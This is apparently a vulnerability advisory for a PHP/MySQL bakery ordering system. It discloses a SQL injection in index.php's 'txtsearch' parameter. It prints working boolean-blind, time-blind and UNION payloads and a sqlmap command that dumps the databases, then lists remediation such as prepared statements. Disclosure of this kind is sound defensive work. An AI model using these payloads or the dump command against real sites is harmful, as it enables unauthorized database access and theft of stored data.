- Bakery Online Ordering System Using PHP and MySQL Database
- N3xu5Cr4ck37
- index.php
- V1.0
- SQL injection
- A SQL injection vulnerability was found in the 'index.php' file of the 'Bakery Online Ordering System Using PHP and MySQL Database' project. The reason for this issue is that attackers inject malicious code from the parameter "txtsearch" and use it directly in SQL queries without the need for appropriate cleaning or validation. This allows attackers to forge input values, thereby manipulating SQL queries and performing unauthorized operations.
- Attackers can exploit this SQL injection vulnerability to achieve unauthorized database access, sensitive data leakage, data tampering, comprehensive system control, and even service interruption, posing a serious threat to system security and business continuity.
- During the security review of "Bakery Online Ordering System Using PHP and MySQL Database", N3xu5Cr4ck37 discovered a critical SQL injection vulnerability in the "index. php" file. This vulnerability stems from insufficient user input validation of the 'txtsearch' parameter, allowing attackers to inject malicious SQL queries. Therefore, attackers can gain unauthorized access to databases, modify or delete data, and access sensitive information. Immediate remedial measures are needed to ensure system security and protect data integrity.
- boolean-based blind
- time-based blind
- UNION query
- 'txtsearch' parameter
txtsearch=11' AND 7669=7669-- Epsu&btnsearch=
txtsearch=11' AND (SELECT 2716 FROM (SELECT(SLEEP(5)))MTlH)-- OUPy&btnsearch=
txtsearch=11' UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,CONCAT(0x71787a7071,0x794a716e6b4d6854754c5167567a4753497a6f514255564c5873616d53756e616b6152656d545a76,0x716b707a71),NULL,NULL,NULL,NULL-- -&btnsearch=
Parameter: txtsearch (POST)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: txtsearch=11' AND 7669=7669-- Epsu&btnsearch=
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: txtsearch=11' AND (SELECT 2716 FROM (SELECT(SLEEP(5)))MTlH)-- OUPy&btnsearch=
Type: UNION query
Title: Generic UNION query (NULL) - 12 columns
Payload: txtsearch=11' UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,CONCAT(0x71787a7071,0x794a716e6b4d6854754c5167567a4753497a6f514255564c5873616d53756e616b6152656d545a76,0x716b707a71),NULL,NULL,NULL,NULL-- -&btnsearch=
The following are screenshots of some specific information obtained from testing and running with the sqlmap tool:
python sqlmap.py -u "http://localhost:8101/index.php?page=2" --data="txtsearch=11&btnsearch=" --method=POST --dbms=mysql --level=5 --risk=3 --batch --dbs --dump
-
Use prepared statements and parameter binding: Preparing statements can prevent SQL injection as they separate SQL code from user input data. When using prepare statements, the value entered by the user is treated as pure data and will not be interpreted as SQL code.
-
Input validation and filtering: Strictly validate and filter user input data to ensure it conforms to the expected format.
-
Minimize database user permissions: Ensure that the account used to connect to the database has the minimum necessary permissions. Avoid using accounts with advanced permissions (such as' root 'or' admin ') for daily operations.
-
Regular security audits: Regularly conduct code and system security audits to promptly identify and fix potential security vulnerabilities.